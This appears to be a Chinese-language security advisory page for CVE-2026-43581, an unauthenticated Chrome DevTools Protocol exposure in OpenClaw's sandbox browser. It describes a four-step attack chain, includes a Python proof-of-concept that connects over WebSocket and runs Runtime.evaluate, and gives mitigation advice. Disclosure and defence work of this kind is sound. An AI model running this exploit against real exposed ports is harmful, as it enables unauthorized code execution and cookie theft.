IPBUF安全漏洞报告
English
CVE-2026-43581 CVSS 9.6 严重

CVE-2026-43581: OpenClaw CDP协议未授权访问漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-43581
漏洞类型
未授权访问
CVSS评分
9.6 严重
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

未授权访问OpenClawCDP远程代码执行网络配置错误

漏洞概述

OpenClaw在2026.4.10之前的版本中存在网络安全漏洞。该漏洞源于沙箱浏览器CDP中继的网络绑定配置不当,错误地将服务绑定到0.0.0.0,导致攻击者可从外部访问DevTools协议。由于无需认证,利用此漏洞可导致信息泄露及服务被控。

技术细节

该漏洞的核心在于OpenClaw的沙箱浏览器CDP(Chrome DevTools Protocol)中继组件监听了0.0.0.0地址,而非仅限本地回环。CDP提供了强大的浏览器调试接口,允许执行JS代码、获取Cookie等。攻击者无需认证,只要网络可达即可连接该端口。通过发送CDP指令(如Runtime.evaluate),攻击者可在沙箱内执行任意代码,窃取敏感数据或进一步攻击。由于S:C(范围变更),该漏洞可能影响沙箱外的系统组件。

攻击链分析

STEP 1
信息收集
攻击者扫描目标网络,寻找OpenClaw服务开放的Chrome DevTools Protocol端口(通常为9222等)。
STEP 2
建立连接
攻击者利用服务绑定在0.0.0.0的缺陷,直接通过WebSocket连接到目标端口的CDP接口。
STEP 3
发送指令
攻击者无需认证,发送CDP JSON-RPC指令,如调用Runtime.evaluate执行JavaScript代码。
STEP 4
获取权限
成功执行代码后,攻击者可读取浏览器数据、窃取Cookie或进行下一步渗透,造成数据泄露或系统破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def check_cdp_vulnerability(target_host, target_port): """ PoC for CVE-2026-43581 Connects to the exposed CDP port and executes a simple command. """ uri = f"ws://{target_host}:{target_port}" print(f"[*] Connecting to {uri}...") try: async with websockets.connect(uri) as websocket: print("[+] Connection successful! Vulnerability likely present.") # CDP command to get browser version payload = { "id": 1, "method": "Browser.getVersion", "params": {} } await websocket.send(json.dumps(payload)) response = await websocket.recv() print(f"[+] Received Response: {response}") # Example: Execute JavaScript js_payload = { "id": 2, "method": "Runtime.evaluate", "params": {"expression": "navigator.userAgent"} } await websocket.send(json.dumps(js_payload)) js_response = await websocket.recv() print(f"[+] JS Execution Result: {js_response}") except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": # Replace with actual target IP and Port asyncio.run(check_cdp_vulnerability("192.168.1.100", 9222))

影响范围

OpenClaw < 2026.4.10

防御指南

临时缓解措施
建议立即检查OpenClaw配置并升级至修复版本。若无法立即升级,请务必在主机防火墙层面阻断外部对CDP服务端口的访问请求,将其限制在本地回环地址范围内。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表